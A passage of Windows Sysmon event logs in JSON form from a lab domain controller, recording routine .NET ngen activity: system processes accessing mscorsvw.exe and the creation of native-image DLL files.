12:03:03.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-001066C00E00}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7739,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:04.104\r\nProcessGuid: {90617006-42F7-5F2D-0000-001066C00E00}\r\nProcessId: 3292\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\cdc-0\\System.IO.Compression.dll\r\nCreationUtcTime: 2020-08-07 12:03:04.104","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:04.104","ProcessGuid":"{90617006-42F7-5F2D-0000-001066C00E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\cdc-0\\System.IO.Compression.dll","CreationUtcTime":"2020-08-07 12:03:04.104","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7740,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.219\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42E8-5F2D-0000-00102E540E00}\r\nTargetProcessId: 3324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.219","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42E8-5F2D-0000-00102E540E00}","TargetProcessId":"3324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7741,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.219\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E8-5F2D-0000-00102E540E00}\r\nTargetProcessId: 3324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.219","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E8-5F2D-0000-00102E540E00}","TargetProcessId":"3324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7742,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.245\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F8-5F2D-0000-0010AFC30E00}\r\nTargetProcessId: 3324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.245","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F8-5F2D-0000-0010AFC30E00}","TargetProcessId":"3324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7743,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.354\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42EE-5F2D-0000-0010F16A0E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.354","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42EE-5F2D-0000-0010F16A0E00}","TargetProcessId":"584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7744,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42EE-5F2D-0000-0010F16A0E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42EE-5F2D-0000-0010F16A0E00}","TargetProcessId":"584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7745,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F8-5F2D-0000-0010D1C60E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:04.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F8-5F2D-0000-0010D1C60E00}","TargetProcessId":"584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7746,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:04.417\r\nProcessGuid: {90617006-42F8-5F2D-0000-0010D1C60E00}\r\nProcessId: 584\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\248-0\\System.IO.Compression.FileSystem.dll\r\nCreationUtcTime: 2020-08-07 12:03:04.417","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:04.417","ProcessGuid":"{90617006-42F8-5F2D-0000-0010D1C60E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\248-0\\System.IO.Compression.FileSystem.dll","CreationUtcTime":"2020-08-07 12:03:04.417","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7747,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:04.463\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42EF-5F2D-0000-0010746E0E00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 